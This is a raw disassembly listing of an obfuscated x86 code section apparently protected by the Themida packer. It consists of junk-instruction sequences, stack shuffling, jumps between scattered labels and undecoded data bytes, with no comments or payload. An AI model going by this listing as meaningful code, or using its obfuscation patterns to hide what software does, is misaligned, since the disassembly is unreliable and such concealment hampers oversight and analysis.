; ---------------------------------------------------------------------------


loc_55C20D:				; CODE XREF: Themida_:0055588Aj
		inc	edi
		jmp	loc_5535CB
; ---------------------------------------------------------------------------


loc_55C213:				; CODE XREF: Themida_:00554F8Aj
		add	ecx, 0F7BB08C6h
		jmp	loc_56592F
; ---------------------------------------------------------------------------
		dw 0E0C0h
		dd 30E03406h, 0C68658C6h, 0C686D0F6h, 177FE9h, 7B8EBB00h
		dd 0EB810D72h, 9B6034EBh, 815BDE29h, 1F9013F6h,	5EF529ACh
		dd 2C8BEE89h, 4C48324h,	6D76E9h, 55524600h, 0E73F9368h
		dd 0B9C5E96Fh, 0ED81FFFFh, 0FFFFFFFFh, 9621E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C26E:				; CODE XREF: Themida_:00558C56j
		add	esi, 4
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		push	58E4h
		mov	[esp], esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		push	edx
		mov	edx, 771F0703h
		and	edx, 5BEA774Bh
		add	edx, 0ACF5F901h
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		pop	esp
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_559424
; ---------------------------------------------------------------------------
aIxs9		db '䌎9',0
		dd 2C330000h, 0DE8FE924h, 0D629FFFFh, 0FFA6B6E9h, 3EBC1FFh
		dd 1F93CB81h, 0F3874AC7h, 3101C683h, 31DE31F3h,	68F3h
		dd 52E90000h, 8BFFFFB4h, 0C4832414h, 0DFE95304h, 81FFFF82h
		dd 4C5h, 8212E900h, 39B9FFFFh, 0E961404Bh, 0FFFFF900h
		dd 24048B66h, 0FF9A39E9h, 4C481FFh, 1000000h, 4EC81D8h
		dd 89000000h, 0A9BA2414h, 2944B81Dh, 0EDB8E9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C332:				; CODE XREF: Themida_:00556876j
		push	dword ptr [esp]
		jmp	loc_568115
; ---------------------------------------------------------------------------


loc_55C33A:				; CODE XREF: Themida_:0055D01Aj
		sub	ecx, 4B4504EDh
		jmp	loc_5550E7
; ---------------------------------------------------------------------------
		db 68h,	67h, 17h
		dd 4890000h, 1B4CB824h,	0D0F713E8h, 71EAE940h, 0E3C1FFFFh
		dd 84C38107h, 5E01473h,	21A67472h, 0EAE9D801h, 10000B0h
		dd 0E9565AD6h, 0BCB1h, 0BB241C89h, 24762252h, 2AFEB81h
		dd 0C3810941h, 0E4CAE061h, 0E95BD801h, 3C54h
; ---------------------------------------------------------------------------


loc_55C394:				; CODE XREF: Themida_:00565377j
		shl	edx, 4
		neg	edx
		shl	edx, 4
		sub	edx, 18DFA2FCh
		add	ebx, edx
		pop	edx
		sub	ebx, 4
		jmp	loc_5545EF
; ---------------------------------------------------------------------------


loc_55C3AD:				; CODE XREF: Themida_:0055BA80j
		pop	esi
		push	74FAh
		jmp	loc_56378B
; ---------------------------------------------------------------------------


loc_55C3B8:				; CODE XREF: Themida_:005655A0j
		push	dword ptr [esp]
		jmp	loc_561809
; ---------------------------------------------------------------------------


loc_55C3C0:				; CODE XREF: Themida_:0055BEA9j
		xchg	esi, ebx
		push	0D60h
		jmp	loc_55C90D
; ---------------------------------------------------------------------------
		dd 0E9240C89h, 0FFFFB4B9h
; ---------------------------------------------------------------------------


loc_55C3D4:				; CODE XREF: Themida_:0055DD44j
		add	edx, 4
		push	eax
		push	edx
		mov	edx, 53AD1DE6h
		add	edx, 18FD2587h
		sub	edx, 0B74014Ah
		inc	edx
		dec	edx
		add	edx, 9EC9BDE1h
		jmp	loc_55DB55
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0B8240489h, 4, 6D48EB81h,	0C3017731h, 6D48C381h
		dd 53587731h, 0FF7CCEE9h, 0FFD029FFh, 535A2434h, 0C381E389h
		dd 4, 8704C383h, 0E95C241Ch, 0FFFF6800h
; ---------------------------------------------------------------------------


loc_55C438:				; CODE XREF: Themida_:005551B5j
		push	753071DEh
		jmp	loc_5574C4
; ---------------------------------------------------------------------------


loc_55C442:				; CODE XREF: Themida_:00562FC6j
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	55E5h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_563A0B
; ---------------------------------------------------------------------------


loc_55C476:				; CODE XREF: Themida_:00556A15j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		xor	edi, ecx
		xor	ecx, edi
		xor	edi, ecx
		jmp	loc_55F364
; ---------------------------------------------------------------------------
		db 53h
		dd 0E2A68h, 0D1E95400h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C497:				; CODE XREF: Themida_:00556504j
		push	7638h
		jmp	loc_55653C
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 4
		dd 1000000h, 0C7815AD7h, 4, 0E9243C87h,	65EDh, 0C486C181h
		dd 0C381D83Fh, 546730DDh, 0EB81CB01h, 546730DDh, 51240C8Bh
		dd 5AE9E189h
		db 0BCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C4D7:				; CODE XREF: Themida_:0056528Fj
		add	ecx, edx
		jmp	loc_55C5C5
; ---------------------------------------------------------------------------
		dw 0DE01h
		dd 0B69E9h, 241C8700h, 1168555Ch, 8900001Ah, 4832424h
		dd 815D0424h, 4C5h, 4BA5200h, 0E9000000h, 6928h, 405h
		dd 0B91BE900h, 3C87FFFFh, 24248B24h, 0F748D8F7h, 4EC81D0h
		dd 89000000h, 0BF57240Ch, 48560923h, 415FF989h,	2981C981h
		dd 0E9410D08h, 491Fh, 311926B8h, 58C53121h, 0F703EDC1h
		dd 0FFC581DDh, 0E9FFFFFFh, 0FFFF8F24h, 251B850h, 0E8C11C52h
		dd 0BC670507h, 3BE9066Bh
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C567:				; CODE XREF: Themida_:0056776Aj
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		and	ebx, edx
		pop	edx
		or	ebx, ebx
		jmp	loc_56162A
; ---------------------------------------------------------------------------
		dd 0BF243C89h, 44A33640h, 0FEC7814Fh, 4777524Eh, 9DEAC781h
		dd 2E97920h, 8100003Ah,	316A29EDh, 2FD6E9FFh, 31AD0000h
		dd 51A2E9D8h, 0F9290000h, 0FCCE981h, 0E981594Bh, 5A613371h
		dd 7C6DE9h
		db 0
; ---------------------------------------------------------------------------


loc_55C5C5:				; CODE XREF: Themida_:0055C4D9j
		pop	edx
		jmp	loc_55F185
; ---------------------------------------------------------------------------
aWus		db 'WUé]}',0
		align 2
		dw 0DD01h
		dd 4F57C581h, 6CE905E9h, 8B00006Fh, 0C4812404h,	4, 8CA7E9h
		dd 0D0005900h, 53C8045Ah, 0B9E9C4B7h, 31FFFF66h, 0F78159CFh
		dd 35EB7324h, 0FFD0A1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C609:				; CODE XREF: Themida_:0055724Fj
		mov	ebx, 0F785558h
		not	ebx
		shl	ebx, 5
		push	esi
		push	ebp
		push	102B64D6h
		jmp	loc_5549AC
; ---------------------------------------------------------------------------
		db 8Bh
		dd 54502404h, 3858E9h, 40685C00h, 89000011h, 6855243Ch
		dd 0EBA0FA3h, 0FFB27DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C63D:				; CODE XREF: Themida_:00560346j
		push	ecx
		push	7AC612C3h
		jmp	loc_55D69C
; ---------------------------------------------------------------------------


loc_55C648:				; CODE XREF: Themida_:0055DA6Cj
		push	dword ptr [esp]
		jmp	loc_557EA4
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFFC5A9h, 68240489h, 306Dh, 3373E9h
		db 0
; ---------------------------------------------------------------------------


loc_55C665:				; CODE XREF: Themida_:00563C0Ej
		or	ebp, 606C02BFh
		jmp	loc_563E5A
; ---------------------------------------------------------------------------


loc_55C670:				; CODE XREF: Themida_:0055B703j
		mov	edi, 4D19772Dh
		xor	eax, edi
		pop	edi
		jmp	loc_55B66C
; ---------------------------------------------------------------------------


loc_55C67D:				; CODE XREF: Themida_:0056375Aj
		neg	esi
		inc	esi
		jmp	loc_55E2A7
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 57h
		dd 0E905E94Fh, 0FFFFFF42h, 148B5452h, 4C48324h,	4EC81h
		dd 0BE90000h, 87FFFFF8h, 30E92404h, 0FEFFFFDCh,	5BF680CEh
		dd 921E9h
		db 0
; ---------------------------------------------------------------------------


loc_55C6B5:				; CODE XREF: Themida_:00555912j
		mov	[esp], ecx
		not	dword ptr [esp]
		pop	ecx
		jmp	loc_5597AB
; ---------------------------------------------------------------------------


loc_55C6C1:				; CODE XREF: Themida_:00553376j
		add	esp, 4
		pop	edi
		push	ebp
		push	2DD3h
		mov	[esp], edx
		jmp	loc_559E29
; ---------------------------------------------------------------------------
		db 81h
		dd 3E4288EFh, 8BFA2940h, 0C483243Ch, 0EDB85004h, 0E9022273h
		dd 9615h, 4C781h, 0EF810000h, 4, 1F4D68h, 243C8900h, 42474FFh
		dd 0FFDDE2E9h, 24048FFFh, 0FFCE95E9h, 0C6814EFFh, 0A011310Eh
		dd 0E95EF001h, 112Dh, 7CFDE952h, 48BFFFFh, 0E7895724h
		dd 68515653h, 765E0EDFh, 0E9240C8Bh, 3FB9h, 83D830ACh
		dd 148904ECh, 87E6824h,	0C890000h, 0E946B124h, 8631h, 0EB81F301h
		dd 0C1D1E44h, 8324348Bh, 0BBE904C4h, 40000028h,	10E28192h
		dd 813E8171h, 13014F2h,	0BFC58130h, 1348819h, 0D57BE9D5h
		dd 0BD55FFFFh, 264F1B76h, 304468h, 24148900h, 0C87BB53h
		dd 0EBC13026h, 81C38107h, 4B02DC3Ah, 0FFCD6FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C7A5:				; CODE XREF: Themida_:00567345j
		xor	eax, [esp]
		jmp	loc_566B6A
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 68h
		dd 811A2E39h, 950267EDh, 0B6ED8163h, 8157F067h,	0C35907C5h
		dd 5DEA89E9h, 4414BF57h, 0FA2919D3h, 0BA52535Fh, 1320782Ah
		dd 7BE9D2F7h, 0BF0000B0h, 4, 0B1E9F801h
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C7EB:				; CODE XREF: Themida_:00565C59j
		add	esp, 4
		jmp	loc_567BA2
; ---------------------------------------------------------------------------


loc_55C7F3:				; CODE XREF: Themida_:005617D0j
		mov	ebx, 4
		jmp	loc_564D17
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 326E9h, 8BE80100h, 0C483242Ch, 24048704h, 6624248Bh
		dd 1DE930FFh
		db 64h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C81B:				; CODE XREF: Themida_:0056709Aj
		push	eax
		mov	eax, 29D76B31h
		sub	edx, eax
		pop	eax
		add	edx, ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 29D76B31h
		add	edx, edi
		pop	edi
		pop	ebp
		xchg	edx, [esp]
		jmp	loc_56101C
; ---------------------------------------------------------------------------
		db 29h,	0EFh, 0E9h
		dd 4603h, 0EA8C681h, 0DEF72FD0h, 8107E6C1h, 71BF1DEEh
		dd 0E9F08978h, 0FFFFE249h, 7124B068h, 241C8B58h, 4C481h
		dd 56500000h, 313583BEh, 4815606h, 8B618224h, 822D5807h
		dd 5E078B61h, 0C52DD0F7h, 0F7060C2Eh, 53D0F7D0h, 0D4B224BBh
		dd 5BD831D8h, 8158C301h, 874E41F3h, 4EC8183h, 89000000h
		dd 0EC83240Ch, 243C8904h, 0F989DF89h, 59CE895Fh, 4FBEE9h
		dd 5F545700h, 4C781h, 0C7830000h, 1260E904h, 16680000h
		dd 89000050h, 0E789243Ch, 4C781h, 0C7830000h, 243C8704h
		dd 669E9h, 47E95400h
		db 71h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C8EB:				; CODE XREF: Themida_:00561BE8j
		mov	ecx, 525540B7h
		and	ecx, 240198Bh
		jmp	loc_559281
; ---------------------------------------------------------------------------


loc_55C8FB:				; CODE XREF: Themida_:005572A8j
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_553266
; ---------------------------------------------------------------------------
		dw 0F800h
		dd 64C3E9h
		db 0
; ---------------------------------------------------------------------------


loc_55C90D:				; CODE XREF: Themida_:0055C3C7j
		mov	[esp], eax
		mov	eax, 77B3334Ah
		push	edi
		mov	edi, 0FFFFFFFFh
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	611Ch
		mov	[esp], edx
		push	ebx
		push	2CE334D8h
		pop	ebx
		or	ebx, 66F6630Bh
		jmp	loc_55D5DD
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 81h
		dd 4C3h, 4EB8100h, 0E9000000h, 0FFFFD436h
; ---------------------------------------------------------------------------


loc_55C950:				; CODE XREF: Themida_:00555079j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	3585h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_555E34
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 30FDE9h
		db 0
; ---------------------------------------------------------------------------


loc_55C981:				; CODE XREF: Themida_:00556572j
		xchg	edi, [esp]
		pop	esp
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_556DEF
; ---------------------------------------------------------------------------
		db 83h,	0C5h, 1
		dd 652268h, 6783E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C99E:				; CODE XREF: Themida_:005584A1j
		pop	esp
		xchg	ecx, [esp]
		jmp	loc_5626E7
; ---------------------------------------------------------------------------


loc_55C9A7:				; CODE XREF: Themida_:00563071j
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		xor	ebx, [esp]
		jmp	loc_5566BA
; ---------------------------------------------------------------------------
aHD		db '[hßD',0
		align 2
		dw 0C89h
		dd 2474FF24h, 48F5904h,	24248B24h, 83240C8Bh, 3C8904ECh
		dd 947FE924h, 0DEF7FFFFh, 0F681DEF7h, 5292FCCh,	0BAC0C681h
		dd 0F589FCDEh, 2DE9455Eh, 66000058h, 0E9240C8Bh, 0FFFFBCAEh
		dd 0FFFFE981h, 0E9D1FFFFh, 7EAAC181h, 0C8896753h, 50240C8Bh
		dd 0BA52E089h, 4, 0E95AD001h, 6430h, 8035EA80h,	0D50029EAh
		dd 0FFEA69E9h, 2AC780FFh, 80DBF780h, 0C7FE83CFh, 0C095B151h
		dd 0D1F607E9h, 801DC980h, 56E995E9h, 810000B4h,	3253242Ch
		dd 81591105h, 53253C1h,	241C8B11h, 0FF9D7AE9h, 0FCEA81FFh
		dd 14A4181h, 26685AD6h,	0E900006Eh, 0A898h
; ---------------------------------------------------------------------------


loc_55CA78:				; CODE XREF: Themida_:00565953j
		mov	eax, 55B3296h
		shr	eax, 4
		not	eax
		not	eax
		jmp	loc_5589A0
; ---------------------------------------------------------------------------
		db 5Ah,	31h, 0C3h
		dd 80C9B551h, 8352CEE5h, 4DE904ECh, 6600007Dh, 0E924048Bh
		dd 0FFFFDE42h
; ---------------------------------------------------------------------------


loc_55CAA4:				; CODE XREF: Themida_:00565472j
		mov	[esp], eax
		mov	eax, 400h
		mov	ecx, eax
		mov	eax, [esp]
		push	314h
		jmp	loc_553ECF
; ---------------------------------------------------------------------------
		dd offset dword_445750+1718h
		align 10h
		dd 6A4E9h, 0F9C28100h, 1259067h, 34875AD6h, 61E95C24h
		db 61h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CAD7:				; CODE XREF: Themida_:005670D0j
		mov	al, 0C4h
		sub	bl, al
		jmp	loc_55EDD6
; ---------------------------------------------------------------------------
		dd 3FC71A35h, 58C101A1h, 8B240C87h, 3CD22424h, 41E99C24h
		dd 0F7FFFF61h, 5EEE81D6h, 1F27751h, 0EA015EF5h,	81242C8Bh
		dd 4C4h, 81FA0100h, 0F0D7CEAh, 14875F51h, 24248B24h, 0FFE0F0E9h
		dd 73BAB8FFh, 1DE9187Ch, 81FFFFF5h, 4C4h, 4BD42D00h, 685346C4h
		dd 61C1h, 0BA241489h, 36AC773Ch, 0E4A2F4BBh, 5AD301CDh
		dd 0AC1EE9h, 247C2900h,	2434FF04h, 0E9243C8Bh, 0FFFFC512h
		dd 0BF243C89h, 5C5477EAh, 7626E981h, 0C1811019h, 4D097525h
		dd 3371C181h, 0C1815A61h, 594B0FCCh, 0FFFA2DE9h, 5AD301FFh
		dd 4C381h, 1C870000h, 0A1E95C24h
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CB97:				; CODE XREF: Themida_:0055BC26j
		mov	edx, ebp
		pop	ebp
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5627F6
; ---------------------------------------------------------------------------


loc_55CBAA:				; CODE XREF: Themida_:005614B5j
		mov	edx, 663343C9h
		jmp	loc_562166
; ---------------------------------------------------------------------------
		dd 9234E94Fh, 0C483FFFFh, 45E28002h, 0E9D18851h, 484Bh
		dd 50C468ACh, 4CE90000h, 88000067h, 240C8BCAh, 4C481h
		dd 22E90000h, 810000A0h, 4C7h, 46B8E900h, 0BA660000h, 166E21Eh
		dd 0A588E9C2h, 6659FFFFh, 813AE95Bh, 3C8B0000h,	4C48124h
		dd 81000000h, 4C4h, 2C68100h, 87000000h, 248B2434h, 24D36624h
		dd 11E99C24h, 5AFFFF60h, 0FFCB9FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CC2D:				; CODE XREF: Themida_:00566F28j
		mov	[esp], ebp
		jmp	loc_554D8B
; ---------------------------------------------------------------------------


loc_55CC35:				; CODE XREF: Themida_:00561F20j
		xor	edi, edx
		jmp	loc_5580F7
; ---------------------------------------------------------------------------
		dd 2D08E8C1h, 535BCBB5h, 0F0E9C529h, 0BA000040h, 4, 875AD629h
		dd 895C2434h, 0FFE9242Ch
		db 85h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55CC5F:				; CODE XREF: Themida_:00559453j
		mov	edi, 65605BE9h
		or	edi, 78D91500h
		shl	edi, 1
		not	edi
		shr	edi, 2
		jmp	loc_5618EF
; ---------------------------------------------------------------------------
		dw 0FBBh
		dd 31414C39h, 0D8E95BD8h, 41FFFF71h, 0E956D9F7h, 1A36h
; ---------------------------------------------------------------------------


loc_55CC8C:				; CODE XREF: Themida_:00558D74j
		mov	esi, 68411DA1h
		not	esi
		sub	esi, 0E25C4D8Fh
		sub	eax, esi
		pop	esi
		jmp	loc_5587D4
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 4EC8156h, 0E9000000h, 568Bh
; ---------------------------------------------------------------------------


loc_55CCB0:				; CODE XREF: Themida_:00562538j
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jz	loc_55686C
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_556DD7
; ---------------------------------------------------------------------------


loc_55CCC6:				; CODE XREF: Themida_:00561ECCj
		add	dword ptr [esp+4], 4BAB7E16h
		jmp	loc_56375F
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FFEF04E9h, 0DFE981FFh, 817BF925h, 0B3016E9h, 0C1E9D17Fh
		dd 65E903E9h, 51FFFFA5h, 0A2E9E7B5h, 29000042h,	0F0BBE9CFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5669B7
; ---------------------------------------------------------------------------
aSG		db ')ÆéÈ£',0
		db 0
; ---------------------------------------------------------------------------


loc_55CD0D:				; CODE XREF: Themida_:00556E01j
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_560907
; ---------------------------------------------------------------------------
		dw 0D501h
		dd 3CDDC581h, 148B58B1h, 4C48324h, 2E3168h, 242C8900h
		dd 42474FFh, 5D2434FFh,	0E904C483h, 0FFFF9B61h,	0D8ECE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CD5A:				; CODE XREF: Themida_:00565D94j
		mov	[esp], ecx
		jmp	loc_55E563
; ---------------------------------------------------------------------------
		dw 0D731h
		dd 5CEF815Ah, 0E97C4140h, 1893h, 54E1C581h, 0EC817209h
		dd 4, 0E9243489h, 0FFFF8F65h, 0D931CB31h, 0D1F7CB31h, 0C7E9CB87h
		dd 56FFFFF5h, 0A87FB6BEh, 6EEC130h, 0A1FAEE81h,	0F10100C2h
		dd 4C1815Eh, 0E9000000h, 6773h,	4C781h,	0C7830000h, 74FF5704h
		dd 8F5F0424h, 248B2404h, 857DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CDCA:				; CODE XREF: Themida_:00553ADAj
		pop	ecx
		push	eax
		mov	eax, 6BF909A7h
		add	ebx, eax
		pop	eax
		push	edx
		mov	edx, 54423BFAh
		inc	edx
		add	edx, 443075D1h
		shl	edx, 6
		xchg	ecx, edx
		jmp	loc_55B332
; ---------------------------------------------------------------------------
		db 81h
		dd 96F08CEAh, 5AD029ECh, 0FFA2B2E9h, 0CE8058FFh, 4E6C0B1h
		dd 0EE80D6F6h, 0DDEE8092h, 0FF7A72E9h, 0FCF281FFh, 0E9016E15h
		dd 0FFFFF130h, 9D1C77FFh, 11665866h, 0E99C2404h, 0FFFF5E10h
		dd 24048B66h, 8904EC83h, 0E389241Ch, 4EC81h, 2C890000h
		dd 7593BD24h, 0E5C13D75h, 945BE905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CE4A:				; CODE XREF: Themida_:005559CBj
		mov	edi, 51344074h
		and	ebx, edi
		pop	edi
		sub	ebx, 212B7661h
		push	eax
		mov	eax, 77C364A0h
		neg	eax
		add	eax, 0D33CA066h
		push	34CEh
		mov	[esp], edi
		mov	edi, 0F8A2345h
		jmp	loc_560FCD
; ---------------------------------------------------------------------------
		db 35h
		dd 3CE31C56h, 0A0E5E9h,	24248B00h, 8324048Bh, 0ECE904C4h
		dd 8BFFFF94h, 8B662424h, 83502404h, 248904ECh, 68555224h
		dd 41827536h, 0BCF5815Dh, 4D770D1Ch, 0B76CC581h, 0EA89D9BCh
		dd 0E6E9425Dh, 89FFFF73h, 0AE95FFBh, 66FFFFF4h,	5966CA01h
		dd 7D36E9h, 28270400h, 15A268C8h, 14890000h, 2827B224h
		dd 67AAE9D0h, 1C8BFFFFh, 4C48124h, 53000000h, 317CE9h
		dd 0A4C28100h, 0F7085261h, 0BEF281DAh, 81426A54h, 637C70C1h
		dd 625FE914h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CF0A:				; CODE XREF: Themida_:0055F80Aj
		sub	esi, 42833CE8h
		jmp	loc_564884
; ---------------------------------------------------------------------------


loc_55CF15:				; CODE XREF: Themida_:00559959j
		push	dword ptr [esp+4]
		jmp	loc_558337
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 9DE6BB04h, 0C3018229h, 8324048Bh, 0C28104C4h, 6EBC4CC9h
		dd 40E3EA81h, 0DA011EB8h, 40E3C281h, 0EA811EB8h, 6EBC4CC9h
		dd 0AF8CE95Bh, 0E95C0000h, 0AB1Ah, 34DEF681h, 0C6813D9Eh
		dd 8F68A406h, 24E9F029h
		db 84h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55CF67:				; CODE XREF: Themida_:0055F931j
		mov	ebp, 6F780B4Ch
		sub	ebx, ebp
		pop	ebp
		add	ebx, edi
		add	ebx, 6F780B4Ch
		jmp	loc_563CAE
; ---------------------------------------------------------------------------
		dd 0FEA8158h, 8156B052h, 0CC35D2EAh, 5CAAE921h,	248BFFFFh
		dd 240C8924h, 88D38853h, 80E95BDDh, 0BEFFFFA7h,	35864F04h
		dd 0FF6ECAE9h, 56E281FFh, 0E9506D60h, 1E91h, 6858C229h
		dd 7F5Ah, 68242C89h, 73172C4h, 5DEA295Dh, 83242C8Bh, 148704C4h
		dd 0ACE2E924h, 0F32CFFFFh, 0F304F000h, 8124148Bh, 4C4h
		dd 2434FF00h, 6313E95Ah, 89660000h, 38B62414h, 5A66F420h
		dd 0FE65B151h, 0E9C1FEC1h, 986h, 2474FF50h, 48F5804h, 9D4AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D012:				; CODE XREF: Themida_:0055AB2Bj
		add	ecx, ebx
		sub	ecx, 23255C66h
		jmp	loc_55C33A
; ---------------------------------------------------------------------------
		db 59h
		dd 348BF289h, 4C48124h,	50000000h, 0B8h, 0E9D02900h, 1CD8h
		dd 4C481h, 0F5E90000h, 870000A5h, 248B241Ch, 970DE924h
		dd 875B0000h, 72E92434h
		db 8Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D057:				; CODE XREF: Themida_:00554604j
		push	eax
		mov	eax, 32CE2160h
		and	edx, eax
		pop	eax
		shl	edx, 5
		inc	edx
		add	edx, 0FECC602Ah
		jmp	loc_564427
; ---------------------------------------------------------------------------
		db 83h
		dd 0FF042404h, 348B2434h, 4C48124h, 0E9000000h,	0FFFF8392h
; ---------------------------------------------------------------------------


loc_55D084:				; CODE XREF: Themida_:0055B610j
		neg	ecx
		jmp	loc_55FAF6
; ---------------------------------------------------------------------------


loc_55D08B:				; CODE XREF: Themida_:00562F65j
		add	ebx, 0FD117357h
		xor	edi, ebx
		pop	ebx
		not	edi
		shr	edi, 3
		and	edi, 7D437D05h
		push	ebp
		mov	ebp, 4DD9098Bh
		xor	edi, ebp
		pop	ebp
		jmp	loc_554058
; ---------------------------------------------------------------------------
		db 0E9h, 86h, 5Bh
		dd 77FFFFFFh, 5B7EE940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D0BA:				; CODE XREF: Themida_:0055AF04j
		push	2BD1h
		mov	[esp], ecx
		push	edi
		mov	edi, 0B386F4Eh
		mov	ecx, 1E3D004Dh
		jmp	loc_558FCE
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 4C481h, 89510000h, 6E957E1h, 8900006Ch, 45682404h
		dd 89000045h, 4812424h,	424h, 9FD6E900h, 50BBFFFFh, 4320541Dh
		dd 0C106EBC1h, 0F38103EBh, 334C60C3h, 69E9DF29h, 83000000h
		dd 0BA52FFE8h, 10B37DBFh, 2028E281h, 0EAC1305Fh, 52E28102h
		dd 0F75B5942h, 0A2C281DAh, 0E9712600h, 0FFFFB543h
; ---------------------------------------------------------------------------


loc_55D13C:				; CODE XREF: Themida_:00557075j
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		jmp	loc_55A5D6
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd offset loc_41FD68
		dd 241C8900h, 0C617BA68h, 2434FF26h, 4EC835Bh, 59DCE9h
		dd 24148900h, 42474FFh,	24048F5Ah, 6624248Bh, 0E9240489h
		dd 0FFFF5AB8h, 2434FF5Bh, 75B0685Eh, 3AE90000h,	2DFFFFE2h
		dd 2F7C5580h, 8005F029h, 0FF2F7C55h, 348B2434h,	5E7FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D1A6:				; CODE XREF: Themida_:00555FF1j
		shr	edx, 5
		jmp	loc_55B622
; ---------------------------------------------------------------------------
		dw 0FE01h
		dd 9E0EE81h, 0EE815E12h, 20780222h, 56243C8Bh, 0C681E689h
		dd 4, 0FFBCB0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D1CD:				; CODE XREF: Themida_:0055BDB4j
		pop	ebp
		sub	edx, esi
		push	edi
		mov	edi, 723355D3h
		or	edi, 54F8322Dh
		push	esi
		mov	esi, 50000B62h
		jmp	loc_562580
; ---------------------------------------------------------------------------
		db 87h
		dd 248B2404h, 241C8924h, 42474FFh, 0E92434FFh, 0FFFFD319h
		dd 99E9CDFEh, 660000AFh, 30C8C281h, 0E9CA0166h,	6658h
		dd 0F2E98A2Ch, 0FFFFF84h
		db 0B7h, 0C0h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		push	ebp
		mov	ebp, 27284936h
		mov	esi, 0D8D7B6CEh
		add	esi, ebp
		pop	ebp
		sub	ebp, 3DF6032h
		add	ebp, esi
		push	ebx
		mov	ebx, 7FB42DF6h
		jmp	loc_564EA6
; ---------------------------------------------------------------------------


loc_55D23F:				; CODE XREF: Themida_:00555D2Aj
		sub	esp, 4
		mov	[esp], edi
		sub	dword ptr [esp], 3CC230A1h
		pop	ecx
		add	ecx, 3CC230A1h
		pop	edi
		mov	esi, [esp]
		push	4BDEh
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	eax, ecx
		pop	ecx
		push	ecx
		push	esi
		push	19101CBEh
		pop	esi
		push	edx
		jmp	loc_55C18A
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 0E904C483h, 5FBCh, 0C8BCA29h, 4C48124h, 81000000h, 0F1042444h
		dd 13A0B44h, 53042454h,	0B44F1BBh, 69C6E93Ah, 0C601FFFFh
